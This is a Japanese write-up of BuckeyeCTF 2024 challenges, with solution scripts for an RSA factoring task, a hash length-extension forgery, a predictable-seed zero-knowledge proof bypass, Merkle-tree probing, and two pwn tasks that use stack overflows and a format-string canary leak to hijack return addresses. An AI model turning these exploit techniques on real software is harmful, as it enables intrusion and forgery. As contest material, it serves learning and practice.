BuckeyeCTF 2024 writeup (original) (raw)

BuckeyeCTF 2024 にチーム poteti fan club で参加した。日本時間で 2024-09-28 09:00 から 2024-09-30 09:00 まで。

結果は 11/648 位。
crypto 問題を一人で独占してしまって申し訳ない気持ちになった。

解法集

crypto

crypto/rsa

普通の RSA 暗号の鍵 (n, e) と暗号文 c が与えられるので、平文を復元せよという問題。
n が 128 ビットの素数 2 個の積であり短すぎるので、普通に素因数分解できる。

e = 65537 n = 66082519841206442253261420880518905643648844231755824847819839195516869801231 c = 19146395818313260878394498164948015155839880044374872805448779372117637653026

phi = 66082519841206442253261420880518905643125623107528489101140402490481535313232

def main() -> None: d = pow(e, -1, phi) m = pow(c, d, n) print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())

if name == "main": main()

crypto/hashbrown

HMAC みたいな認証タグをつける装置が与えられるので、"french fry" を含む妥当なデータを作れという問題。
認証タグが hash(secret + message) なので、length extension attack ができる。今回は 16 バイトごとに区切る形式のハッシュ関数なので、pad(元の文章) + "french fry" であればハッシュ値が計算できる。

from pwn import * import hashbrown import sys

local = len(sys.argv) == 1 io = process(["python3", "hashbrown.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))

def main() -> None: io.recvuntil(b"Hashbrowns recipe as hex:") io.recvline() msg = bytes.fromhex(io.recvline().strip().decode()) io.recvuntil(b"Signature:") io.recvline() sig = bytes.fromhex(io.recvline().strip().decode())

added_msg = b"french fry"
added_block = b"french fry" + b"_" * 6
new_sig = hashbrown.aes(added_block, sig)

io.recvuntil(b"Give me recipe for french fry? (as hex)")
io.recvline()
io.sendline((hashbrown.pad(msg) + added_msg).hex())
io.recvuntil(b"Give me your signiature?")
io.recvline()
io.sendline(new_sig.hex())
io.recvuntil(b'Your signiature:')
io.recvline()
io.recvline()
print(io.recvall().decode())

if name == "main": main()

crypto/zkwarmup

mod 合成数平方根を知っているかどうかのゼロ知識証明。
実装をよく見ると Python 標準ライブラリーの random を使っていて、しかも現在時刻 (の秒未満を切り捨てたもの) で初期化している。
こうすると乱数が予測可能になるので平方根も予測できる。

""" 乱数が完全に予測可能 """ import sys import random import time from pwn import process, remote

local = len(sys.argv) == 1 io = process(["python3", "zkwarmup.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))

def main() -> None: """ main """ start = time.time() io.recvuntil(b"n = ") n = int(io.recvline().strip().decode()) random.seed(int(time.time())) predicted_x = random.randrange(1, n) io.recvuntil(b"y = ") y = int(io.recvline().strip().decode()) if pow(predicted_x, 2, n) != y: print('Failed to predict x') io.close() return for iter_count in range(128): if iter_count % 20 == 0: print(f"# ({time.time()-start:.2f}s) Round {iter_count}") r = random.randrange(1, n) s = pow(r, 2, n) io.recvuntil(b"Provide s: ") io.sendline(str(s).encode()) io.recvuntil(b"b = ") b = int(io.recvline().strip().decode()) z = pow(r * pow(predicted_x, 1 - b, n), 1, n) io.recvuntil(b"Provide z: ") io.sendline(str(z).encode()) print(io.recvall().decode())

if name == "main": main()

crypto/treestore

「オブジェクトを格納する時以下のような挙動をするオブジェクトストレージがある。

最初にフラグの値が白黒で描画された flag.bmp が格納される。フラグを特定せよ。」という問題である。

bmp ファイルのフォーマットは、(ヘッダー 54 バイト) + (ピクセルの情報 4 バイト) * (ピクセル数) である。(参考: https://www.setsuki.com/hsp/ext/bmp.htm)
特に 16 バイト区切りに分けた場合最後のチャンクは 6 バイトになるので、6 バイトのチャンクの中身が特定できればそれが最後のチャンクだとわかる。
該当の bmp ファイルのピクセル部分は 00000000 か ffffffff のどちらかなので、最後のチャンクは 4 通りしかないし途中の 16 バイトのチャンクも 32 通りしかない。
マークル木の右側から辿り、なおかつ中間ノードとしてあり得るものの組み合わせを (それより下のノードの組み合わせを調べて) 列挙することで、この問題を解くことができる。

まずは以下のスクリプトを実行した。(競技サーバーに近い方がいいので、オハイオ州の近くで実行できる人に実行してもらった。)

""" merkle tree の右端から辿っていきたい """ import sys import time from base64 import b64encode from pwn import process, remote

local = len(sys.argv) == 1

def create_io(): return process(["nc", "localhost", "1024"]) if local else remote(sys.argv[1], int(sys.argv[2]))

io = create_io()

def check_node_existence(data: bytes) -> bool: global io try: io.recvuntil(b"[*] To add a file to the treestore, enter bytes base64 encoded") io.recvline() io.recvuntil(b">>> ") io.sendline(b64encode(data)) line = io.recvline().strip().decode() if line == "[-] Max storage exceeded!": print('# Max storage exceeded!') io.close() io = create_io() return check_node_existence(data) if line != "0 chunks were added" and line != "1 chunks were added": print(f'# Error: {line}') sys.exit(1) return line == "0 chunks were added" except EOFError: print('# EOFError, reconnecting...') io.close() io = create_io() return check_node_existence(data)

def main() -> None: """ main """ start = time.time() anchor = b'\0' * 6 data = [] for bits in range(32): tmp = b'' for i in range(5): if (bits >> i) & 1: tmp += b'\0' * 4 else: tmp += b'\xff' * 4 data.append(tmp[2:18]) gen1 = [] for c in data: exists = check_node_existence(c) if exists: gen1.append(c) cur_len = 16 rest_cand = None while True: paired = None for c in gen1: if c[-2:] != anchor[:2]: continue exists = check_node_existence(c + anchor) if exists: paired = c break if paired is None: pass else: anchor = paired + anchor nextgen = [] for c0 in gen1: for c1 in gen1: if c0[-2:] != c1[:2]: continue exists = check_node_existence(c0 + c1) if exists: nextgen.append(c0 + c1) if len(nextgen) == 0: for c in gen1: if c not in anchor: rest_cand = c break gen1 = nextgen cur_len *= 2

    print(f'# time: {time.time() - start:.2f}s')
    print(f'# anchor: {len(anchor)}')
    print(f'# cur_len: {cur_len}')
    print(f'# gen1: {len(gen1)}')
    with open('log.txt', 'a') as f:
        f.write(f'anchor = {anchor}\n')
        f.write(f'cur_len = {cur_len}\n')
        f.write(f'gen1 = {gen1}\n')
    if len(gen1) == 0:
        break
image_len = cur_len + len(anchor) - 54
width = image_len // 32 // 4
print(f'# image_len: {image_len}, width: {width}')
with open('flag.bmp', 'rb') as f:
    data = f.read()
forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
if rest_cand is not None:
    assert len(rest_cand) == cur_len // 2
    forged = forged[:cur_len // 2] + rest_cand + forged[cur_len:]
with open('forged.bmp', 'wb') as f:
    f.write(forged)

if name == "main": main()

その後、ログから以下のようなスクリプトで復元した。

import ast

def main(): pre_cand = None pre_cand2 = None rest_cand = None for line in open('log-yosupo.txt').readlines(): exec(line, globals()) if line.startswith('gen1 = '): rest = line.removeprefix('gen1 = ') rest = ast.literal_eval(rest) print(f'# len(rest): {len(rest)}') if len(rest) == 2: pre_cand = rest if len(rest) == 6: pre_cand2 = rest

for r in pre_cand:
    if r not in anchor:
        rest_cand = r
        break
for r in pre_cand2:
    if r not in rest_cand + anchor:
        rest_cand2 = r
        break
print(f'# anchor: {len(anchor)}')
image_len = cur_len + len(anchor) - 54
width = image_len // 32 // 4
print(f'# image_len: {image_len}, width: {width}')
with open('flag.bmp', 'rb') as f:
    data = f.read()
forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
if rest_cand is not None:
    assert len(rest_cand) == cur_len // 2
    forged = forged[:cur_len // 4] + rest_cand2 + rest_cand + forged[cur_len:]
with open('forged.bmp', 'wb') as f:
    f.write(forged)

if name == "main": main()

beginner-pwn

beginner-pwn/runway1

https://dogbolt.org/?id=123722f7-fbf8-4f9d-ae33-17a6d9b3c077
get_favorite_food() の実行時、スタックは |変数など (72 バイト)| caller's rbp (4 バイト)| return address (4 バイト)| となっているので、return address を書き換えると ok。
PIE などではないので win() のアドレスは簡単にわかる。

import sys from pwn import process, remote

local = len(sys.argv) == 1 io = process(['./runway1']) if local else remote(sys.argv[1], int(sys.argv[2]))

def main() -> None: io.recvuntil(b'What is your favorite food?') io.recvline() payload = b'A' * 76 + 0x080491e6.to_bytes(4, 'little') io.sendline(payload) io.interactive()

if name == 'main': main()

beginner-pwn/runway3

https://dogbolt.org/?id=dbc47717-942e-4bfe-b43d-f19a61221f9c
canary で保護されているので、その値を特定して傷つけないようにバッファーオーバーフローを起こす。

import sys from pwn import process, remote

local = len(sys.argv) == 1 io = process('docker run -i --workdir /srv/app --rm --platform=linux/amd64 runway3 /srv/app/run'.split(' ')) if local
else remote(sys.argv[1], int(sys.argv[2]))

def main() -> None: io.recvuntil(b'Is it just me, or is there an echo in here?') io.recvline() payload = b'%13$p %14$p %15$p' io.sendline(payload) canary_str, rbp_value_str, retaddr_str = io.recvline().strip().split() assert canary_str.startswith(b'0x') assert rbp_value_str.startswith(b'0x') assert retaddr_str.startswith(b'0x') canary = int(canary_str, 16) rbp_value = int(rbp_value_str, 16) retaddr = int(retaddr_str, 16) print(f'# canary: {canary:#x}, rbp_value: {rbp_value:#x}, retaddr: {retaddr:#x}')

desired_retaddr = 0x4011db
print(f'# overwriting retaddr: {retaddr:#x} => {desired_retaddr:#x}')

payload = b'A' * 40 \
    + canary.to_bytes(8, 'little') \
    + rbp_value.to_bytes(8, 'little') \
    + desired_retaddr.to_bytes(8, 'little')
io.sendline(payload)
io.recvuntil(b'You win! Here is your shell:')
io.recvline()
io.sendline(b'cat flag.txt')
print(io.recvuntil(b'}').decode())

if name == 'main': main()

rev

rev/flagwatch

AutoHotkey スクリプトコンパイルしたものが与えられる。

https://github.com/A-gent/AutoHotkey-Decompiler で decompile すると RCData 以下にスクリプトっぽいものが出る。

wine decompiler/ResourceHacker.exe flagwatch.exe

これの RCData → 1 : 1033 を開くとコードが出てくるので、そこで指定されている encrypted_flag をコピーすれば良い。

encrypted_flag = [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]

def main() -> None: flag = "" for b in encrypted_flag: flag += chr(b ^ 92) print(flag)

if name == "main": main()

rev/thank

import sys from pwn import process, remote

local = len(sys.argv) == 1 io = process(['./thank']) if local else remote(sys.argv[1], int(sys.argv[2]))

def main() -> None: content = open('thank.so', 'rb').read() io.recvuntil(b'What is the size of your file (in bytes)? ') io.sendline(str(len(content)).encode()) io.recvuntil(b'Send your file!') io.recvline() io.sendline(content) print(io.recvall().decode())

if name == 'main': main()

web

まとめ

crypto が全体的に考察要素薄めで、パソコン要素多めだった。